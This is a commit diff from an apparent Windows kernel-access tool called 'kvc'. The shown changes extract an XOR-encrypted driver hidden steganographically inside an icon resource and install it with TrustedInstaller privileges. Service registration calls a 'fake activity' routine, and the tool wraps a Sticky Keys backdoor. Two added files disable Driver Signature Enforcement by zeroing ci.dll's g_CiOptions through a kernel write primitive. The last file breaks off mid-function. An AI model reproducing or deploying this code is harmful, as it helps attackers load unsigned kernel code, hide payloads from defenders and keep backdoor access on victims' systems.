Aktualizacja: 2025-10-15 23:50:43
This commit is contained in:
987
kvc/Controller.h
987
kvc/Controller.h
File diff suppressed because it is too large
Load Diff
@@ -1,4 +1,7 @@
|
||||
// ControllerDriverManager.cpp
|
||||
// Driver lifecycle management: installation, service control, extraction
|
||||
// Author: Marek Wesolowski, 2025
|
||||
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
#include "Utils.h"
|
||||
@@ -11,8 +14,7 @@ namespace fs = std::filesystem;
|
||||
// SERVICE CLEANUP AND MANAGEMENT
|
||||
// ============================================================================
|
||||
|
||||
// Attempts to forcefully remove the driver service, ignoring most errors.
|
||||
// This is a cleanup utility to ensure a clean state before installation.
|
||||
// Forcefully remove driver service, ignoring most errors
|
||||
bool Controller::ForceRemoveService() noexcept {
|
||||
if (!InitDynamicAPIs()) {
|
||||
return false;
|
||||
@@ -23,7 +25,6 @@ bool Controller::ForceRemoveService() noexcept {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Try to open the service with DELETE access
|
||||
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE);
|
||||
if (!hService) {
|
||||
DWORD err = GetLastError();
|
||||
@@ -40,8 +41,7 @@ bool Controller::ForceRemoveService() noexcept {
|
||||
return success || (err == ERROR_SERVICE_MARKED_FOR_DELETE);
|
||||
}
|
||||
|
||||
// Detects zombie service state (marked for deletion but not yet removed).
|
||||
// Returns true if service exists with DELETE_PENDING flag, indicating system restart is required.
|
||||
// Detect zombie service state (marked for deletion but not removed)
|
||||
bool Controller::IsServiceZombie() noexcept {
|
||||
if (!InitDynamicAPIs()) return false;
|
||||
|
||||
@@ -207,7 +207,7 @@ bool Controller::StartDriverServiceSilent() noexcept {
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// DRIVER INSTALLATION - MAIN FUNCTION
|
||||
// DRIVER INSTALLATION
|
||||
// ============================================================================
|
||||
|
||||
bool Controller::InstallDriver() noexcept {
|
||||
@@ -232,22 +232,13 @@ bool Controller::InstallDriver() noexcept {
|
||||
return false;
|
||||
}
|
||||
|
||||
auto encryptedData = ExtractEncryptedDriver();
|
||||
if (encryptedData.empty()) {
|
||||
ERROR(L"Failed to extract encrypted driver from icon resource");
|
||||
return false;
|
||||
}
|
||||
|
||||
auto driverData = DecryptDriver(encryptedData);
|
||||
// Extract driver (already decrypted by Utils::ExtractResourceComponents)
|
||||
auto driverData = ExtractDriver();
|
||||
if (driverData.empty()) {
|
||||
ERROR(L"Failed to decrypt embedded driver data");
|
||||
ERROR(L"Failed to extract driver from resource");
|
||||
return false;
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// REFACTORED: Direct write with TrustedInstaller privileges
|
||||
// ========================================================================
|
||||
|
||||
// Get target paths
|
||||
fs::path driverDir = GetDriverStorePath();
|
||||
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
|
||||
@@ -280,10 +271,7 @@ bool Controller::InstallDriver() noexcept {
|
||||
|
||||
DEBUG(L"Driver file written successfully: %s (%zu bytes)", driverPath.c_str(), driverData.size());
|
||||
|
||||
// ========================================================================
|
||||
// SERVICE REGISTRATION
|
||||
// ========================================================================
|
||||
|
||||
// Register service
|
||||
if (!InitDynamicAPIs()) return false;
|
||||
GenerateFakeActivity();
|
||||
|
||||
@@ -326,7 +314,7 @@ bool Controller::InstallDriver() noexcept {
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// SILENT INSTALLATION (for automated operations)
|
||||
// SILENT INSTALLATION
|
||||
// ============================================================================
|
||||
|
||||
bool Controller::InstallDriverSilently() noexcept {
|
||||
@@ -334,16 +322,10 @@ bool Controller::InstallDriverSilently() noexcept {
|
||||
return false;
|
||||
}
|
||||
|
||||
auto encryptedData = ExtractEncryptedDriver();
|
||||
if (encryptedData.empty()) return false;
|
||||
|
||||
auto driverData = DecryptDriver(encryptedData);
|
||||
// Extract driver (already decrypted)
|
||||
auto driverData = ExtractDriver();
|
||||
if (driverData.empty()) return false;
|
||||
|
||||
// ========================================================================
|
||||
// REFACTORED: Direct write with TrustedInstaller privileges
|
||||
// ========================================================================
|
||||
|
||||
// Get target paths
|
||||
fs::path driverDir = GetDriverStorePath();
|
||||
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
|
||||
@@ -444,42 +426,26 @@ bool Controller::UninstallDriver() noexcept {
|
||||
std::error_code ec;
|
||||
if (!fs::remove(driverPath, ec)) {
|
||||
if (ec.value() != ERROR_FILE_NOT_FOUND) {
|
||||
// Try with TrustedInstaller if normal delete fails
|
||||
m_trustedInstaller.DeleteFileAsTrustedInstaller(driverPath.wstring());
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// DRIVER EXTRACTION AND DECRYPTION
|
||||
// DRIVER EXTRACTION
|
||||
// ============================================================================
|
||||
|
||||
// Extract driver from steganographic icon resource
|
||||
std::vector<BYTE> Controller::ExtractEncryptedDriver() noexcept {
|
||||
auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA);
|
||||
if (iconData.size() <= 9662) {
|
||||
ERROR(L"Icon resource too small or corrupted - steganographic driver missing");
|
||||
// Extract driver from resource (already decrypted by Utils::ExtractResourceComponents)
|
||||
std::vector<BYTE> Controller::ExtractDriver() noexcept {
|
||||
std::vector<BYTE> kvcSysData, dllData;
|
||||
|
||||
if (!Utils::ExtractResourceComponents(IDR_MAINICON, kvcSysData, dllData)) {
|
||||
ERROR(L"Failed to extract kvc.sys from resource");
|
||||
return {};
|
||||
}
|
||||
// Skip first 9662 bytes (actual icon data) to get embedded driver
|
||||
return std::vector<BYTE>(iconData.begin() + 9662, iconData.end());
|
||||
}
|
||||
|
||||
// Decrypt embedded driver using XOR cipher
|
||||
std::vector<BYTE> Controller::DecryptDriver(const std::vector<BYTE>& encryptedData) noexcept {
|
||||
if (encryptedData.empty()) {
|
||||
ERROR(L"No encrypted driver data provided");
|
||||
return {};
|
||||
}
|
||||
|
||||
constexpr std::array<BYTE, 7> key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
|
||||
std::vector<BYTE> decryptedData = encryptedData;
|
||||
|
||||
// Simple XOR decryption with repeating key
|
||||
for (size_t i = 0; i < decryptedData.size(); ++i) {
|
||||
decryptedData[i] ^= key[i % key.size()];
|
||||
}
|
||||
|
||||
return decryptedData;
|
||||
INFO(L"Driver extracted: %zu bytes", kvcSysData.size());
|
||||
return kvcSysData;
|
||||
}
|
||||
@@ -114,4 +114,27 @@ bool Controller::InstallStickyKeysBackdoor() noexcept {
|
||||
|
||||
bool Controller::RemoveStickyKeysBackdoor() noexcept {
|
||||
return m_trustedInstaller.RemoveStickyKeysBackdoor();
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// WATERMARK MANAGEMENT
|
||||
// ============================================================================
|
||||
|
||||
bool Controller::RemoveWatermark() noexcept
|
||||
{
|
||||
WatermarkManager wmManager(m_trustedInstaller);
|
||||
return wmManager.RemoveWatermark();
|
||||
}
|
||||
|
||||
bool Controller::RestoreWatermark() noexcept
|
||||
{
|
||||
WatermarkManager wmManager(m_trustedInstaller);
|
||||
return wmManager.RestoreWatermark();
|
||||
}
|
||||
|
||||
std::wstring Controller::GetWatermarkStatus() noexcept
|
||||
{
|
||||
WatermarkManager wmManager(m_trustedInstaller);
|
||||
return wmManager.GetWatermarkStatus();
|
||||
}
|
||||
|
||||
|
||||
370
kvc/DSEBypass_BSOD_minDebug.cpp
Normal file
370
kvc/DSEBypass_BSOD_minDebug.cpp
Normal file
@@ -0,0 +1,370 @@
|
||||
#include "DSEBypass.h"
|
||||
#include "common.h"
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Kernel module structures (same as in Utils.cpp)
|
||||
typedef struct _SYSTEM_MODULE {
|
||||
ULONG_PTR Reserved1;
|
||||
ULONG_PTR Reserved2;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE, *PSYSTEM_MODULE;
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION {
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE Modules[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc) : m_rtc(rtc) {}
|
||||
|
||||
bool DSEBypass::DisableDSE() noexcept {
|
||||
INFO(L"[DSE] Attempting to disable Driver Signature Enforcement...");
|
||||
|
||||
// Step 1: Find ci.dll base address
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"[DSE] Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value());
|
||||
|
||||
// Step 2: Locate g_CiOptions in CiPolicy section
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"[DSE] Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
// Step 3: Read current value and store as original
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
m_originalValue = current.value();
|
||||
INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue);
|
||||
|
||||
// Step 4: Test write capability - write same value back
|
||||
DEBUG(L"[DSE] Testing write capability before modification...");
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, m_originalValue)) {
|
||||
ERROR(L"[DSE] Memory test write failed - address may be read-only or protected");
|
||||
ERROR(L"[DSE] This could indicate Tamper Protection or PatchGuard monitoring");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Verify test write
|
||||
auto testRead = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!testRead || testRead.value() != m_originalValue) {
|
||||
ERROR(L"[DSE] Memory test verification failed (expected: 0x%08X, got: 0x%08X)",
|
||||
m_originalValue, testRead ? testRead.value() : 0xFFFFFFFF);
|
||||
ERROR(L"[DSE] Memory region appears to be protected or monitored");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] Write capability test passed - memory is writable");
|
||||
|
||||
// Step 5: Disable DSE by setting to 0
|
||||
DWORD newValue = 0x0;
|
||||
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||
ERROR(L"[DSE] Failed to write g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 6: Verify the actual change
|
||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!verify || verify.value() != newValue) {
|
||||
ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF);
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::RestoreDSE() noexcept {
|
||||
INFO(L"[DSE] Attempting to restore Driver Signature Enforcement...");
|
||||
|
||||
// Step 1: Find ci.dll base address
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"[DSE] Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 2: Locate g_CiOptions
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"[DSE] Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
// Step 3: Read current value
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD currentValue = current.value();
|
||||
INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
|
||||
|
||||
// Step 4: Test write capability before modification
|
||||
DEBUG(L"[DSE] Testing write capability before restoration...");
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, currentValue)) {
|
||||
ERROR(L"[DSE] Memory test write failed - address may be read-only or protected");
|
||||
return false;
|
||||
}
|
||||
|
||||
auto testRead = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!testRead || testRead.value() != currentValue) {
|
||||
ERROR(L"[DSE] Memory test verification failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] Write capability test passed");
|
||||
|
||||
// Step 5: Restore to original value or default (0x6)
|
||||
DWORD newValue = m_originalValue ? m_originalValue : 0x6;
|
||||
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||
ERROR(L"[DSE] Failed to write g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 6: Verify the change
|
||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!verify || verify.value() != newValue) {
|
||||
ERROR(L"[DSE] Verification failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
return true;
|
||||
}
|
||||
|
||||
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
|
||||
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hNtdll) {
|
||||
ERROR(L"[DSE] Failed to get ntdll.dll handle");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
|
||||
ULONG SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
auto pNtQuerySystemInformation = reinterpret_cast<NTQUERYSYSTEMINFORMATION>(
|
||||
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
|
||||
|
||||
if (!pNtQuerySystemInformation) {
|
||||
ERROR(L"[DSE] Failed to get NtQuerySystemInformation");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// First call to get required buffer size
|
||||
ULONG bufferSize = 0;
|
||||
NTSTATUS status = pNtQuerySystemInformation(
|
||||
11, // SystemModuleInformation
|
||||
nullptr,
|
||||
0,
|
||||
&bufferSize
|
||||
);
|
||||
|
||||
if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
|
||||
ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Allocate buffer and get module list
|
||||
auto buffer = std::make_unique<BYTE[]>(bufferSize);
|
||||
auto modules = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.get());
|
||||
|
||||
status = pNtQuerySystemInformation(
|
||||
11, // SystemModuleInformation
|
||||
modules,
|
||||
bufferSize,
|
||||
&bufferSize
|
||||
);
|
||||
|
||||
if (status != 0) {
|
||||
ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] Found %d kernel modules", modules->Count);
|
||||
|
||||
// Debug: Show first 10 modules for diagnostic purposes
|
||||
DEBUG(L"[DSE] Listing first 10 kernel modules:");
|
||||
for (ULONG i = 0; i < modules->Count && i < 10; i++) {
|
||||
auto& mod = modules->Modules[i];
|
||||
const char* fileName = strrchr(mod.ImageName, '\\');
|
||||
if (fileName) fileName++;
|
||||
else fileName = mod.ImageName;
|
||||
|
||||
DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName,
|
||||
reinterpret_cast<ULONG_PTR>(mod.ImageBase));
|
||||
}
|
||||
|
||||
// Search for target module by name
|
||||
for (ULONG i = 0; i < modules->Count; i++) {
|
||||
auto& mod = modules->Modules[i];
|
||||
|
||||
// Extract filename from full path
|
||||
const char* fileName = strrchr(mod.ImageName, '\\');
|
||||
if (fileName) {
|
||||
fileName++; // Skip backslash
|
||||
} else {
|
||||
fileName = mod.ImageName;
|
||||
}
|
||||
|
||||
if (_stricmp(fileName, moduleName) == 0) {
|
||||
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
|
||||
|
||||
// Validate base address is not NULL
|
||||
if (baseAddr == 0) {
|
||||
ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName);
|
||||
continue; // Keep searching in case of duplicates
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
|
||||
return baseAddr;
|
||||
}
|
||||
}
|
||||
|
||||
ERROR(L"[DSE] Module %S not found in kernel", moduleName);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
|
||||
DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
|
||||
|
||||
// Get CiPolicy section information
|
||||
auto dataSection = GetDataSection(ciBase);
|
||||
if (!dataSection) {
|
||||
ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll");
|
||||
return 0;
|
||||
}
|
||||
|
||||
ULONG_PTR dataStart = dataSection->first;
|
||||
SIZE_T dataSize = dataSection->second;
|
||||
|
||||
DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
|
||||
|
||||
// g_CiOptions is always at offset +4 in CiPolicy section
|
||||
// This is a documented offset used by all DSE bypass tools
|
||||
ULONG_PTR ciOptionsAddr = dataStart + 0x4;
|
||||
|
||||
// Verify we can read from this address
|
||||
auto currentValue = m_rtc->Read32(ciOptionsAddr);
|
||||
if (!currentValue) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value());
|
||||
return ciOptionsAddr;
|
||||
}
|
||||
|
||||
std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept {
|
||||
// Read DOS header (MZ signature)
|
||||
auto dosHeader = m_rtc->Read16(moduleBase);
|
||||
if (!dosHeader || dosHeader.value() != 0x5A4D) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Get PE header offset
|
||||
auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C);
|
||||
if (!e_lfanew || e_lfanew.value() > 0x1000) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
ULONG_PTR ntHeaders = moduleBase + e_lfanew.value();
|
||||
|
||||
// Verify PE signature
|
||||
auto peSignature = m_rtc->Read32(ntHeaders);
|
||||
if (!peSignature || peSignature.value() != 0x4550) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Get section count
|
||||
auto numSections = m_rtc->Read16(ntHeaders + 0x6);
|
||||
if (!numSections || numSections.value() > 50) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14);
|
||||
if (!sizeOfOptionalHeader) return std::nullopt;
|
||||
|
||||
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
|
||||
|
||||
DEBUG(L"[DSE] Scanning %d sections for CiPolicy...", numSections.value());
|
||||
|
||||
// ZOPTYMALIZOWANE: Szukaj tylko CiPolicy bez wypisywania wszystkich
|
||||
for (WORD i = 0; i < numSections.value(); i++) {
|
||||
ULONG_PTR sectionHeader = firstSection + (i * 40);
|
||||
|
||||
// Read section name (8 bytes)
|
||||
char name[9] = {0};
|
||||
for (int j = 0; j < 8; j++) {
|
||||
auto ch = m_rtc->Read8(sectionHeader + j);
|
||||
if (ch) name[j] = static_cast<char>(ch.value());
|
||||
}
|
||||
|
||||
// Check if this is CiPolicy
|
||||
if (strcmp(name, "CiPolicy") == 0) {
|
||||
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
|
||||
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
|
||||
|
||||
if (virtualSize && virtualAddr) {
|
||||
DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X",
|
||||
virtualAddr.value(), virtualSize.value());
|
||||
|
||||
return std::make_pair(
|
||||
moduleBase + virtualAddr.value(),
|
||||
static_cast<SIZE_T>(virtualSize.value())
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ERROR(L"[DSE] CiPolicy section not found in ci.dll");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept {
|
||||
// Simplified validation - address should be within module bounds
|
||||
// Maximum reasonable module size is 2MB
|
||||
return (addr > moduleBase && addr < moduleBase + 0x200000);
|
||||
}
|
||||
|
||||
DWORD DSEBypass::GetWindowsBuild() noexcept {
|
||||
OSVERSIONINFOEXW osInfo = { sizeof(osInfo) };
|
||||
|
||||
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(
|
||||
GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion");
|
||||
|
||||
if (RtlGetVersion) {
|
||||
RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo);
|
||||
return osInfo.dwBuildNumber;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
369
kvc/DSEBypass_old.cpp
Normal file
369
kvc/DSEBypass_old.cpp
Normal file
@@ -0,0 +1,369 @@
|
||||
#include "DSEBypass.h"
|
||||
#include "common.h"
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Same structures as in Utils.cpp
|
||||
typedef struct _SYSTEM_MODULE {
|
||||
ULONG_PTR Reserved1;
|
||||
ULONG_PTR Reserved2;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE, *PSYSTEM_MODULE;
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION {
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE Modules[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc) : m_rtc(rtc) {}
|
||||
|
||||
bool DSEBypass::DisableDSE() noexcept {
|
||||
INFO(L"[DSE] Attempting to disable Driver Signature Enforcement...");
|
||||
|
||||
// 1-3. Find ci.dll and g_CiOptions (bez zmian)
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"[DSE] Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value());
|
||||
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"[DSE] Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
m_originalValue = current.value();
|
||||
INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue);
|
||||
|
||||
// ✅ Wyłącz DSE poprzez wyzerowanie
|
||||
DWORD newValue = 0x0; // Najprostsze - wyzeruj wszystko jak EfiDSEFix
|
||||
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||
ERROR(L"[DSE] Failed to write g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!verify || verify.value() != newValue) {
|
||||
ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF);
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::RestoreDSE() noexcept {
|
||||
INFO(L"[DSE] Attempting to restore Driver Signature Enforcement...");
|
||||
|
||||
// 1-2. Find ci.dll and g_CiOptions (bez zmian)
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"[DSE] Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"[DSE] Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD currentValue = current.value();
|
||||
INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
|
||||
|
||||
// ✅ Przywróć oryginalną wartość (zwykle 0x6)
|
||||
DWORD newValue = m_originalValue ? m_originalValue : 0x6; // Fallback do 0x6
|
||||
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||
ERROR(L"[DSE] Failed to write g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!verify || verify.value() != newValue) {
|
||||
ERROR(L"[DSE] Verification failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
return true;
|
||||
}
|
||||
|
||||
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
|
||||
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hNtdll) {
|
||||
ERROR(L"[DSE] Failed to get ntdll.dll handle");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
|
||||
ULONG SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
auto pNtQuerySystemInformation = reinterpret_cast<NTQUERYSYSTEMINFORMATION>(
|
||||
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
|
||||
|
||||
if (!pNtQuerySystemInformation) {
|
||||
ERROR(L"[DSE] Failed to get NtQuerySystemInformation");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
ULONG bufferSize = 0;
|
||||
NTSTATUS status = pNtQuerySystemInformation(
|
||||
11, // SystemModuleInformation
|
||||
nullptr,
|
||||
0,
|
||||
&bufferSize
|
||||
);
|
||||
|
||||
// STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
|
||||
if (status != 0xC0000004L) {
|
||||
ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
auto buffer = std::make_unique<BYTE[]>(bufferSize);
|
||||
auto modules = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.get());
|
||||
|
||||
status = pNtQuerySystemInformation(
|
||||
11, // SystemModuleInformation
|
||||
modules,
|
||||
bufferSize,
|
||||
&bufferSize
|
||||
);
|
||||
|
||||
if (status != 0) {
|
||||
ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] Found %d kernel modules", modules->Count);
|
||||
|
||||
// DEBUG: Show first 10 modules
|
||||
for (ULONG i = 0; i < modules->Count && i < 10; i++) {
|
||||
auto& mod = modules->Modules[i];
|
||||
const char* fileName = strrchr(mod.ImageName, '\\');
|
||||
if (fileName) fileName++;
|
||||
else fileName = mod.ImageName;
|
||||
|
||||
DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName,
|
||||
reinterpret_cast<ULONG_PTR>(mod.ImageBase));
|
||||
}
|
||||
|
||||
// Search for module by name
|
||||
for (ULONG i = 0; i < modules->Count; i++) {
|
||||
auto& mod = modules->Modules[i];
|
||||
|
||||
// ImageName contains full path, file name is at the end
|
||||
const char* fileName = strrchr(mod.ImageName, '\\');
|
||||
if (fileName) {
|
||||
fileName++; // Skip '\'
|
||||
} else {
|
||||
fileName = mod.ImageName;
|
||||
}
|
||||
|
||||
if (_stricmp(fileName, moduleName) == 0) {
|
||||
